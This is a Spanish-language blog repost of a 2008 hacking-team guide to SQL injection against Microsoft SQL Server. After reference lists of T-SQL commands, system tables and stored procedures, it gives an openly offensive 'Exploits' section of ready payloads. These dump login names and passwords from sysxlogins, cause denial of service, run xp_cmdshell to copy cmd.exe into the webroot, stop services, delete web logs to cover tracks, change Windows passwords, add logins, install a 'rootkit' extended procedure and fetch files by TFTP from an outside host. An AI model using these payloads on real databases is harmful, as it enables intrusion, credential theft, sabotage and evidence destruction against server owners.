jueves, 25 de septiembre de 2008

MS SQL Injecting (TSQL commands) By JosS

Source: http://www.www.spanish-hackers.com
-[ INFO ]---------------------------------------------------------------------
Title: MS SQL Injecting (TSQL commands)
Author: JosS
contact: sys-project[!]hotmail.com
site: http://spanish-hackers.com/

Spanish Hackers Team - [SHT]
EspSeC & Hack0wn!
from spain

* Spanish version -//

-[ INDEX ]---------------------------------------------------------------------
0x01: Introducción
0x02: Comandos
0x03: Caracteres
0x04: Variables
0x05: Tablas
0x06: Procedimientos
0x07: Exploits (hacking)

0x08: JosS



####### ---[ 0x01: Introducción ]--- #######

Los ataques de SQL Injection nos permiten diferentes puntos y modos de
ataque dependiendo del gestor de Base de Datos que se utilice, cada gestor
tiene sus propias características y lenguaje (Estructured Query language).
En este texto nos vamos a centrar en el gestor de base de datos de
'Microsoft' (MS SQL), el cual utiliza su propio lenguaje, llamado TSQL (Transact sql).
El motivo de elegir este objetivo como partida de nuestros ataques es por la poca
documentación que se encuentra sobre la explotación de esta.

He hay la cuestión.



####### ---[ 0x02: Comandos ]--- #######

- Determina la base de datos sobre la que se realizará la consulta.
use 'x'
use master select * from sysobjects

- Selección de los campos separados por comas dentro de la tabla seleccionada.
select 'x'
select username, password from users

- Carácter comodín.
*
select * from users

- Selección de tablas separadas por comas.
from 'x'
select * from tabla1,tabla2

- Determina una condición a cumplir.
where 'x'
select username,password from users where id=0 or id=1

- Permite ordenar los registros por las columnas deseadas.
order by 'x'
select username, password from users order by username Desc

- Permite realizar agrupaciones de registros.
group by 'x'
select count(rol) as cuenta, rol from usuarios group by rol

- Une dos sentencias sql en una sola.
union
select * from users union select * from users2

- Devuelve todos los campos de las tablas.
all
select * from users union all select * from users2

- Devuelve un determinado número de registros de la tabla.
top
select top 1 from users

- Permite borrar registros, archivos, etc.
delete
delete from users

- Quita todas las filas de una tabla sin registrar las eliminaciones.
truncate
truncate users

- Modifica valores de una tabla.
update
update users set pass='xxx'

- Inserta valores en una tabla.
insert
insert into users values ('joss',null)

- Permite crear objetos en la BD.
create

- Permite destruir objetos en la BD.
drop

- Permite modificar objetos en la BD.
alter

- Termina un proceso de usuario basado en el Id.
kill 'x'
kill 53

- Convierte las expresiones en otros tipos de datos.
cast
cast (expresión AS tipo de datos)



####### ---[ 0x03: Caracteres ]--- #######


- Delimitador de consultas para lanzar la sentencia actual.
;


- Delimitador de cadenas de datos de caracteres y fechas.
'

- Delimitador de comentarios.
--
select * from users-- esto no lo ejecuta

- delimitador de comentarios.
/*'x'*/
select * from users/* esto no lo ejecuta*/

- Da inicio al nombre de procedimientos almacenados.
xp_sp_

- Llamada a un procedimiento almacenado o función.
exec
execute

- Carácter de concatenación
+
select+username+from+users



####### ---[ 0x04: Variables ]--- #######

- Fecha y hora actuales.
current_timestamp

- Nombre de usuario de la BD que realiza la inserción.
current_user

- Nombre de usuario de sesión que realiza la inserción.
session_user

- Nombre de usuario de sistema que realiza la inserción.
system_user

- 0 si la instrucción TSQL anterior no encontró errores.
@@error

- Número de transacciones activas de la conexión.
@@tracount

- Id de la estación de trabajo.
host_id

- Nombre de la estación de trabajo.
host_name

- Nos da las estadísticas de entrada y salida de los archivos de BD.
fn_virtualfilestats
select * from :: fn_virtualfilestats(1,1)

- Información de los archivos de las distintas Base de Datos.
sys.master_files

- Contiene los nombres de las unidades compartidas por el servidor.
fn_servershareddrives



####### ---[ 0x05: Tablas ]--- #######

- syscolumns, almacena las columnas de cada tabla con sus propiedades.
- sysdepends, almacena las dependencias de unos objetos con otros en la BD.
- sysfilegroups, asocia los grupos ficheros (mdf, ldf, etc) de la BD a los ficheros en sí.
- sysfiles, almacenan los ficheros físicos en sí con su ruta correspondiente.
- sysforeignkeys, almacenan las claves foráneas de la BD.
- sysfulltextcatalogs, guarda información de los catálogos de sistema.
- sysindexes, guarda todas las indexaciones de combinaciones de campos sobre tablas de la BD.
- syspermissions, guarda permisos sobre los objetos de la BD.
- sysproperties, guarda descripciones de tablas y campos del modelo relacional.
- sysprotectsque, guarda información de permisos asociados a las cuentas de seguridad de la BD.
- sysreferences, guarda la información de las relaciones entre tablas de la BD.
- systypes, tipos de datos posbiles a definir en el gestor de BDsystypes.
- sysusers, roles de inicios de sesión posibles en la BD.

- sysfulltextnotify, syscursocolumns, syscursorrefs, syscursors, syscursortables, sysfiles1,
syslocks, sysxlogins, etc...



####### ---[ 0x06: Procedimientos ]--- #######

sp_addalias
sp_addapprole
sp_addgroup
sp_addlinkedsrvlogin
sp_addlogin
sp_addrole
sp_addrolemember
sp_addumpdevice
sp_adduser
sp_altermessage
sp_approlepassword
sp_change_users_login
sp_changedbowner
sp_changegroup
sp_changeobjectowner
sp_configure
sp_dbcmptlevel
sp_dboption (update)
sp_dboption update part
sp_defaultdb
sp_defaultlanguage
sp_denylogin
sp_diskdefault
sp_dropalias
sp_dropapprole
sp_dropdevice
sp_dropgroup
sp_droplinkedsrvlogin
sp_droplogin
sp_dropremotelogin
sp_droprole
sp_droprolemember
sp_dropuser
sp_fulltext_catalog
sp_fulltext_column
sp_fulltext_database
sp_fulltext_service
sp_fulltext_table
sp_grantdbaccess
sp_grantlogin
sp_helplogins
sp_password
sp_recompile
sp_refreshview
sp_remoteoption
sp_remoteoption (update)
sp_rename
sp_renamedb
sp_revokedbaccess
sp_revokelogin
sp_tableoption
sp_updatestats

(BOF)-->

xp_controlqueueservice
xp_createprivatequeue
xp_createqueue
xp_decodeq ueuecmd
xp_deleteprivatequeue
xp_deletequeue
xp_displayqueuemesgs
xp_dsninfo
xp_mergelineages
xp_oledbinfo
xp_proxiedmetadata
xp_readpkfromqueue
xp_readpkfromvar bin
xp_repl_encrypt
xp_resetqueue
xp_sqlinventory
xp_unpackcab



####### ---[ 0x07: Exploits ]--- #######

- Nombres de las distintas base de datos existentes en el gestor de BD:
use master select * from sysdatabases

- Obtenemos todas las tablas de todas las base de datos:
select * from sysobjects where xtype = 'U'

- Obtenemos los nombres de todas las tablas contenidas en la base de datos ('x'):
use 'x' select * from sysobjects where xtype = 'U'
use users select * from sysobjects where xtype = 'U'

- Obtenemos todo el código TSQL dado de alta en la BD:
select * from syscomments

- Obtenemos los procedimientos almacenados que usan las tablas o campos donde se manejan cuentas:
select * from syscomments where text like '%cuentas%'

- Obtenemos el inicio de sesión actual:
select current_user

- Obtenemos el usuario de la Base de Datos:
select user

- Obtenemos la versión de SQL Server:
select @@version

- Obtenemos la fecha actual del servidor:
select getdate()

- Información referente a los inicios de sesión del gestor de base de datos:
use master select name from sysxlogins
select name, password from sysxlogins

- Bases de datos existentes en el servidor:
use master select name from sysdatabases

- Leer archivos del sistema:
exec master..xp_readerrorlog 1,N'c:\boot.ini'

- Leer el registro de Windows:
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup','SQLpath'
exec xp_instance_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup','SQLpath'

- Utilización de waitfor:
select * from 'x' waitfor delay '00:00:10'
select * from users waitfor delay '00:00:10'

- Denegación de servicio:
'; delete table usuarios--
'; xp_cmdshell ('shutdown')--

- Consultar y alterar archivos en el servidor:
exec master..xp_cmdshell 'COPY c:\winnt\system32\cmd.exe c:\inetpub\wwwroot\chroot.exe'
exec master..xp_cmdshell 'DIR c:\winnt\system32\logfiles\w3svc1\'

- Parar servicios:
exec master..xp_cmdshell 'NET STOP "Servicio de publicación de World Wide Web"'

- Borrado de huellas:
exec master..xp_cmdshell 'DEL c:\winnt\system32\logfiles\w3svc1|filelog.log'

- Iniciar un servicio:
exec master..xp_cmdshell 'NET START "Servicio de publicación de World Wide Web"'

- Cambiar datos de la cuenta de usuarios de Windows:
exec master..xp_cmdshell 'NET USER username password'

- Añadir un usuario al inicio de sesión del gestor de base de datos:
'exec master..sp_addlogin MyUser, MyPass

- Mover archivos desde otras ubicaciones:
execute master..xp_cmdshell 'TFTP -i www.spanish-hackers.com GET c:\local_file c:\remote_file'

- Creación de consultas encriptadas:
create procedure 'x' with encryption as select * from users
create procedure pp with encryption as select * from users

- Rootkits:
use master exec sp_addextendedproc 'mi_rootkit', 'c:\Archivos de programa\Microsoft SQLServer\
MSSQL\Binn\xplog70.dll' GO

- Backup:
'; use master BACKUP DATABASE [master] TO DISK = N'C:\h' WITH NOINIT, NOUNLOAD, NAME = N'C',
NOSKIP, STATS = 10, NOFORMAT--



####### ---[ 0x08: JosS ]--- #######

Jose Luis Góngora Fernández (JosS)

In memory of rgod.

Take care,
/JosS

# spanish-hackers.com




2 comentarios:

Anónimo dijo...

hola, muy bueno el blog, si deseas, ingresa a mi pagina, a publicar un comentario. saludos

Maximilinux dijo...

Hola men, tanto tiempo.. Que buena que hallas pasado por mi blog. Ahi esta mi nueva vida, deje el underground para seguir adelante con el software libre y ves, hasta el momento me ha ido bien.
Un saludo y estamos al blogging

PS: Te pongo en el blogroll